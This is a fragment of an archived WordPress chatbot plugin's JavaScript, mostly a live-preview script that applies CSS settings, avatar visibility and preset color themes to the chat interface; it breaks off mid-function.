s, error){ aiomatic_form_upload.val(''); aiomaticRmLoading(aiomatic_form_button); aiomatic_progress.addClass('aiomatic_error'); aiomatic_progress.find('small').html('Error'); alert('Error in processing forms uploading: ' + error); aiomatic_error_message.show(); } }); } } } }); $('body').on("change", '#aiomatic-edit-type', function(e){ var value = $(this).children(":selected").attr("value"); if(value != 'text') { $('.aiomatic-hide-not-text').hide(); } else { $('.aiomatic-hide-not-text').show(); } }); $('body').on("change", '#aiomatic-type', function(e){ var value = $(this).children(":selected").attr("value"); if(value != 'text') { $('.hide-when-not-text').hide(); } else { $('.hide-when-not-text').show(); } }); });����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/chat-live-preview.js������������������������������������������������������������������������0000644�����������������00000550424�14757771437�0012164 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; function updateCSSAttribute(css_attr_name, css_attr_value, original_css_code) { const regex = new RegExp(`((?<!-)${css_attr_name}\\s*:\\s*[^;]+;?)`); const match = original_css_code.match(regex); var updated_css_code = original_css_code; if (match) { // If the attribute is found in the CSS code, replace its value updated_css_code = original_css_code.replace(regex, `${css_attr_name}: ${css_attr_value}`); return updated_css_code; } else { // If the attribute is not found, append a new CSS attribute to the code const new_css_attribute = `${css_attr_name}: ${css_attr_value}`; if(original_css_code == '') { updated_css_code = new_css_attribute; } else { if(original_css_code.endsWith(';')) { updated_css_code = `${original_css_code}${new_css_attribute}`; } else { updated_css_code = `${original_css_code};${new_css_attribute}`; } } return updated_css_code; } } function aiomatic_check_vision() { var found = false; var selectedAssist = jQuery('#assistant_id').val(); if (selectedAssist) { found = true; } else { var selected = jQuery('#chat_model').val(); aiomatic_object.modelsvision.forEach((model) => { if(model == selected) { found = true; } }); } if(found == true) { jQuery(".hideVision").show(); } else { jQuery(".hideVision").hide(); } } function assistantChanged() { var found = false; var selectedAssist = jQuery('#assistant_id').val(); if (selectedAssist) { found = true; } if(found == true) { jQuery(".hideAssist").show(); } else { jQuery(".hideAssist").hide(); } } function assistantChanged_b() { var found = false; var selectedAssist = jQuery('#assistant_id_b').val(); if (selectedAssist) { found = true; } if(found == true) { jQuery(".hideAssist_b").show(); } else { jQuery(".hideAssist_b").hide(); } } function voiceChanged() { if(jQuery("#voice_input").is(':checked')) { jQuery('.hideVoice').show(); } else { jQuery('.hideVoice').hide(); } } function aiomatic_check_vision_b() { var selected = jQuery('#model_b').val(); var found = false; var selectedAssist = jQuery('#assistant_id_b').val(); if (selectedAssist) { found = true; } else { aiomatic_object.modelsvision.forEach((model) => { if(model == selected) { found = true; } }); } if(found == true) { jQuery(".hideVision_b").show(); } else { jQuery(".hideVision_b").hide(); } } function aiomaticDisable(btn) { btn.prop('disabled', true); } function fontSizeChanged() { var selected = jQuery('#font_size').find('option:selected').attr('value'); var text_input = jQuery('.aiomatic_chat_history'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('font-size', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function fontSizeChanged_b() { var selected = jQuery('#font_size_b').find('option:selected').attr('value'); var text_input = jQuery('.aiomatic_chat_history'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/font_size="([^"]*?)"/g, 'font_size="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('font-size', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function widthChanged() { var selected = jQuery('#width').val(); var text_input = jQuery('.openai-ai-form'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('width', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function bubbleChanged() { var selected = jQuery('#bubble_width').val(); jQuery('.ai-bubble').each(function() { var text_input = jQuery(this); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } if(selected == 'full') { var updatedCSS = updateCSSAttribute('width', '100%!important;', origCSS); } else { var updatedCSS = updateCSSAttribute('width', 'auto!important;', origCSS); } text_input.attr('style', updatedCSS); } }); } function bubbleAlignChanged() { var selected = jQuery('#bubble_alignment').val(); jQuery('.ai-bubble.ai-other').each(function() { var text_input = jQuery(this); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } if(selected == 'left') { var updatedCSS = updateCSSAttribute('margin-left', 'unset!important;', origCSS); updatedCSS = updateCSSAttribute('margin-right', 'auto!important;', updatedCSS); } else { if(selected == 'right') { var updatedCSS = updateCSSAttribute('margin-right', 'unset!important;', origCSS); updatedCSS = updateCSSAttribute('margin-left', 'auto!important;', updatedCSS); } else { var updatedCSS = updateCSSAttribute('margin-left', 'auto!important;', origCSS); updatedCSS = updateCSSAttribute('margin-right', 'auto!important;', updatedCSS); } } text_input.attr('style', updatedCSS); } }); } function bubbleUserAlignChanged() { var selected = jQuery('#bubble_user_alignment').val(); jQuery('.ai-bubble.ai-mine').each(function() { var text_input = jQuery(this); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } if(selected == 'left') { var updatedCSS = updateCSSAttribute('margin-left', 'unset!important;', origCSS); updatedCSS = updateCSSAttribute('margin-right', 'auto!important;', updatedCSS); } else { if(selected == 'right') { var updatedCSS = updateCSSAttribute('margin-right', 'unset!important;', origCSS); updatedCSS = updateCSSAttribute('margin-left', 'auto!important;', updatedCSS); } else { var updatedCSS = updateCSSAttribute('margin-left', 'auto!important;', origCSS); updatedCSS = updateCSSAttribute('margin-right', 'auto!important;', updatedCSS); } } text_input.attr('style', updatedCSS); } }); } function showAiAvatarChanged() { var selected = jQuery('#show_ai_avatar').val(); if(selected != undefined) { var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/show_ai_avatar="([^"]*?)"/g, 'show_ai_avatar="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } jQuery('.ai-avatar.ai-other').each(function() { var text_input = jQuery(this); if(selected != undefined && text_input !== null) { if(selected == 'show') { text_input.show(); } else { text_input.hide(); } } }); } function showAiAvatarChanged_b() { var selected = jQuery('#show_ai_avatar_b').val(); if(selected != undefined) { var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/show_ai_avatar="([^"]*?)"/g, 'show_ai_avatar="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } jQuery('.ai-avatar.ai-other').each(function() { var text_input = jQuery(this); if(selected != undefined && text_input !== null) { if(selected == 'show') { text_input.show(); } else { text_input.hide(); } } }); } function showUserAvatarChanged_b() { var selected = jQuery('#show_user_avatar_b').val(); if(selected != undefined) { var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/show_user_avatar="([^"]*?)"/g, 'show_user_avatar="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } jQuery('.ai-avatar.ai-mine').each(function() { var text_input = jQuery(this); if(selected != undefined && text_input !== null) { if(selected == 'show') { text_input.show(); } else { text_input.hide(); } } }); } function showUserAvatarChanged() { var selected = jQuery('#show_user_avatar').val(); if(selected != undefined) { var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/show_user_avatar="([^"]*?)"/g, 'show_user_avatar="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } jQuery('.ai-avatar.ai-mine').each(function() { var text_input = jQuery(this); if(selected != undefined && text_input !== null) { if(selected == 'show') { text_input.show(); } else { text_input.hide(); } } }); } function headerChanged() { var selected = jQuery('#show_header').val(); var text_input = jQuery('.openai-card-header'); if(selected != undefined && text_input !== null) { if(selected == 'show') { text_input.show(); } else { text_input.hide(); } } } function themeChanged() { var selected = jQuery('#chat_theme').val(); if(selected == 'light') { var general_background = jQuery('#general_background'); general_background.val('#ffffff'); backgroundChanged2(); var background = jQuery('#background'); background.val('#f7f7f9'); backgroundChanged(); var input_border_color = jQuery('#input_border_color'); input_border_color.val('#e1e3e6'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#000000'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#3c434a'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#728096'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#333333'); inputplaceholdercolorChanged(); var user_background_color = jQuery('#user_background_color'); user_background_color.val('#0084ff'); userbackgroundcolorChanged(); var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val('#e0e0e0'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#000000'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected == 'dark') { var general_background = jQuery('#general_background'); general_background.val('#343541'); backgroundChanged2(); var background = jQuery('#background'); background.val('#454654'); backgroundChanged(); var input_border_color = jQuery('#input_border_color'); input_border_color.val('#454654'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#ffffff'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#ece3ea'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#b2b0b6'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#dddddd'); inputplaceholdercolorChanged(); var user_background_color = jQuery('#user_background_color'); user_background_color.val('#343541'); userbackgroundcolorChanged(); var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val('#4d4d56'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#f8f8f8'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected == 'midnight') { var general_background = jQuery('#general_background'); general_background.val('#000000'); backgroundChanged2(); var background = jQuery('#background'); background.val('#191919'); backgroundChanged(); var input_border_color = jQuery('#input_border_color'); input_border_color.val('#303030'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#e0e0e0'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#c7c7c7'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#a0a0a0'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#555555'); inputplaceholdercolorChanged(); var user_background_color = jQuery('#user_background_color'); user_background_color.val('#222222'); userbackgroundcolorChanged(); var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val('#333333'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#eeeeee'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected == 'sunrise') { var general_background = jQuery('#general_background'); general_background.val('#FFDAA5'); backgroundChanged2(); var background = jQuery('#background'); background.val('#FFB67F'); backgroundChanged(); var input_border_color = jQuery('#input_border_color'); input_border_color.val('#FF925B'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#8B572A'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#76351E'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#DA8540'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#A66C2F'); inputplaceholdercolorChanged(); var user_background_color = jQuery('#user_background_color'); user_background_color.val('#FFA15C'); userbackgroundcolorChanged(); var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val('#FFC591'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#6F4A29'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected == 'ocean') { var generalackground = jQuery('#general_background'); generalackground.val('#004466'); backgroundChanged2(); var background = jQuery('#background'); background.val('#006699'); backgroundChanged(); var inputorder_color = jQuery('#input_border_color'); inputorder_color.val('#003355'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#FFFFFF'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#E0F0FF'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#99CCFF'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#CCDDFF'); inputplaceholdercolorChanged(); var userackground_color = jQuery('#user_background_color'); userackground_color.val('#0077AA'); userbackgroundcolorChanged(); var aiackground_color = jQuery('#ai_background_color'); aiackground_color.val('#0099CC'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#FFFFFF'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected == 'forest') { var generalackground = jQuery('#general_background'); generalackground.val('#225533'); backgroundChanged2(); var background = jQuery('#background'); background.val('#448866'); backgroundChanged(); var inputorder_color = jQuery('#input_border_color'); inputorder_color.val('#003322'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#E0FFE0'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#CCFFCC'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#99FF99'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#AADDA0'); inputplaceholdercolorChanged(); var userackground_color = jQuery('#user_background_color'); userackground_color.val('#22AA55'); userbackgroundcolorChanged(); var aiackground_color = jQuery('#ai_background_color'); aiackground_color.val('#66CC88'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#002400'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected == 'winter') { var general_background = jQuery('#general_background'); general_background.val('#DDEEF9'); backgroundChanged2(); var background = jQuery('#background'); background.val('#BBD0E7'); backgroundChanged(); var input_border_color = jQuery('#input_border_color'); input_border_color.val('#99B4D1'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#223344'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#445566'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#667788'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#8899AA'); inputplaceholdercolorChanged(); var user_background_color = jQuery('#user_background_color'); user_background_color.val('#99aec7'); userbackgroundcolorChanged(); var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val('#CCD8E9'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#001122'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected == 'twilight') { var general_background = jQuery('#general_background'); general_background.val('#483D8B'); backgroundChanged2(); var background = jQuery('#background'); background.val('#6A5ACD'); backgroundChanged(); var input_border_color = jQuery('#input_border_color'); input_border_color.val('#312A63'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#E0E0FF'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#B0B0E0'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#8A89C7'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#A0A0D0'); inputplaceholdercolorChanged(); var user_background_color = jQuery('#user_background_color'); user_background_color.val('#7F7FCC'); userbackgroundcolorChanged(); var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val('#9393D3'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#FAFAFF'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected == 'desert') { var general_background = jQuery('#general_background'); general_background.val('#FDEBC6'); backgroundChanged2(); var background = jQuery('#background'); background.val('#EFC97D'); backgroundChanged(); var input_border_color = jQuery('#input_border_color'); input_border_color.val('#D9A75C'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#6B4D35'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#8C7048'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#A48662'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#B5967E'); inputplaceholdercolorChanged(); var user_background_color = jQuery('#user_background_color'); user_background_color.val('#E5B769'); userbackgroundcolorChanged(); var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val('#EFD39C'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#6B4D35'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected == 'cosmic') { var general_background = jQuery('#general_background'); general_background.val('#2E294E'); backgroundChanged2(); var background = jQuery('#background'); background.val('#453A6B'); backgroundChanged(); var input_border_color = jQuery('#input_border_color'); input_border_color.val('#1B1638'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#CFC7E2'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#A09ABC'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#776888'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#8C80A9'); inputplaceholdercolorChanged(); var user_background_color = jQuery('#user_background_color'); user_background_color.val('#5F528A'); userbackgroundcolorChanged(); var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val('#6C5FA5'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#EDE6F4'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected == 'rose') { var general_background = jQuery('#general_background'); general_background.val('#FFEBF1'); backgroundChanged2(); var background = jQuery('#background'); background.val('#FFCCE5'); backgroundChanged(); var input_border_color = jQuery('#input_border_color'); input_border_color.val('#FF99CC'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#662244'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#993366'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#CC6699'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#884466'); inputplaceholdercolorChanged(); var user_background_color = jQuery('#user_background_color'); user_background_color.val('#FF66AA'); userbackgroundcolorChanged(); var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val('#FFB3D9'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#442233'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected == 'tropical') { var general_background = jQuery('#general_background'); general_background.val('#A1FFDE'); backgroundChanged2(); var background = jQuery('#background'); background.val('#85FFC7'); backgroundChanged(); var input_border_color = jQuery('#input_border_color'); input_border_color.val('#5CDCA4'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#26734D'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#2E8B57'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#479077'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#40A080'); inputplaceholdercolorChanged(); var user_background_color = jQuery('#user_background_color'); user_background_color.val('#3DB58B'); userbackgroundcolorChanged(); var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val('#8EEAD5'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#004C30'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected == 'facebook') { var general_background = jQuery('#general_background'); general_background.val('#1877F2'); backgroundChanged2(); var background = jQuery('#background'); background.val('#E4E6EB'); backgroundChanged(); var input_border_color = jQuery('#input_border_color'); input_border_color.val('#B0B3B8'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#000000'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#1877F2'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#B0B3B8'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#8A8D91'); inputplaceholdercolorChanged(); var user_background_color = jQuery('#user_background_color'); user_background_color.val('#1877F2'); userbackgroundcolorChanged(); var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val('#E9ECEF'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#000000'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected == 'twitter') { var general_background = jQuery('#general_background'); general_background.val('#15202B'); backgroundChanged2(); var background = jQuery('#background'); background.val('#1B2936'); backgroundChanged(); var input_border_color = jQuery('#input_border_color'); input_border_color.val('#38444D'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#E1E8ED'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#1DA1F2'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#657786'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#657786'); inputplaceholdercolorChanged(); var user_background_color = jQuery('#user_background_color'); user_background_color.val('#1DA1F2'); userbackgroundcolorChanged(); var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val('#243447'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#DDE4E8'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected == 'instagram') { var general_background = jQuery('#general_background'); general_background.val('#F9F9F9'); backgroundChanged2(); var background = jQuery('#background'); background.val('#FFFFFF'); backgroundChanged(); var input_border_color = jQuery('#input_border_color'); input_border_color.val('#DBDBDB'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#262626'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#C13584'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#8A3AB9'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#8E8E8E'); inputplaceholdercolorChanged(); var user_background_color = jQuery('#user_background_color'); user_background_color.val('#C13584'); userbackgroundcolorChanged(); var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val('#EFEFEF'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#262626'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected == 'whatsapp') { var general_background = jQuery('#general_background'); general_background.val('#ECE5DD'); backgroundChanged2(); var background = jQuery('#background'); background.val('#FFFFFF'); backgroundChanged(); var input_border_color = jQuery('#input_border_color'); input_border_color.val('#D0D0D0'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#4C4C4C'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#075E54'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#8A8A8A'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#979797'); inputplaceholdercolorChanged(); var user_background_color = jQuery('#user_background_color'); user_background_color.val('#DCF8C6'); userbackgroundcolorChanged(); var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val('#F1F1F1'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#4C4C4C'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#121212'); userfontcolorChanged(); } else if(selected == 'linkedin') { var general_background = jQuery('#general_background'); general_background.val('#F3F6F8'); backgroundChanged2(); var background = jQuery('#background'); background.val('#FFFFFF'); backgroundChanged(); var input_border_color = jQuery('#input_border_color'); input_border_color.val('#CED0D4'); bordercolorChanged(); var input_text_color = jQuery('#input_text_color'); input_text_color.val('#2A2A2A'); inputtextcolorChanged(); var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val('#0077B5'); personanamecolorChanged(); var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val('#6B6B6B'); personarolecolorChanged(); var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val('#8A8A8A'); inputplaceholdercolorChanged(); var user_background_color = jQuery('#user_background_color'); user_background_color.val('#0077B5'); userbackgroundcolorChanged(); var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val('#E8E8E8'); aibackgroundcolorChanged(); var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val('#2A2A2A'); aifontcolorChanged(); var user_font_color = jQuery('#user_font_color'); user_font_color.val('#ffffff'); userfontcolorChanged(); } else if(selected != '') { var data = { action: 'aiomatic_get_theme', themeid: selected, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ if(res.status === 'success') { var json_data = JSON.parse(res.msg); if(json_data.general_background !== undefined) { var general_background = jQuery('#general_background'); general_background.val(json_data.general_background); backgroundChanged2(); } if(json_data.background !== undefined) { var background = jQuery('#background'); background.val(json_data.background); backgroundChanged(); } if(json_data.input_border_color !== undefined) { var input_border_color = jQuery('#input_border_color'); input_border_color.val(json_data.input_border_color); bordercolorChanged(); } if(json_data.input_text_color !== undefined) { var input_text_color = jQuery('#input_text_color'); input_text_color.val(json_data.input_text_color); inputtextcolorChanged(); } if(json_data.persona_name_color !== undefined) { var persona_name_color = jQuery('#persona_name_color'); persona_name_color.val(json_data.persona_name_color); personanamecolorChanged(); } if(json_data.persona_role_color !== undefined) { var persona_role_color = jQuery('#persona_role_color'); persona_role_color.val(json_data.persona_role_color); personarolecolorChanged(); } if(json_data.input_placeholder_color !== undefined) { var input_placeholder_color = jQuery('#input_placeholder_color'); input_placeholder_color.val(json_data.input_placeholder_color); inputplaceholdercolorChanged(); } if(json_data.user_background_color !== undefined) { var user_background_color = jQuery('#user_background_color'); user_background_color.val(json_data.user_background_color); userbackgroundcolorChanged(); } if(json_data.ai_background_color !== undefined) { var ai_background_color = jQuery('#ai_background_color'); ai_background_color.val(json_data.ai_background_color); aibackgroundcolorChanged(); } if(json_data.ai_font_color !== undefined) { var ai_font_color = jQuery('#ai_font_color'); ai_font_color.val(json_data.ai_font_color); aifontcolorChanged(); } if(json_data.user_font_color !== undefined) { var user_font_color = jQuery('#user_font_color'); user_font_color.val(json_data.user_font_color); userfontcolorChanged(); } if(json_data.submit_color !== undefined) { var submit_color = jQuery('#submit_color'); submit_color.val(json_data.submit_color); submitcolorChanged(); } if(json_data.voice_color !== undefined) { var voice_color = jQuery('#voice_color'); voice_color.val(json_data.voice_color); voicecolorChanged(); } if(json_data.voice_color_activated !== undefined) { var voice_color_activated = jQuery('#voice_color_activated'); voice_color_activated.val(json_data.voice_color_activated); } if(json_data.submit_text_color !== undefined) { var submit_text_color = jQuery('#submit_text_color'); submit_text_color.val(json_data.submit_text_color); submittextcolorChanged(); } } else { alert(res.msg); } }, error: function (r, s, error) { alert('Error in ElevenLabs sync: ' + error); } }); } } function themeChanged_b() { var selected = jQuery('#chat_theme_b').val(); if(selected == 'light') { var general_background = jQuery('#general_background_b'); general_background.val('#ffffff'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#f7f7f9'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#e1e3e6'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#000000'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#3c434a'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#728096'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#333333'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#0084ff'); userbackgroundcolorChanged_b(); var ai_background_color = 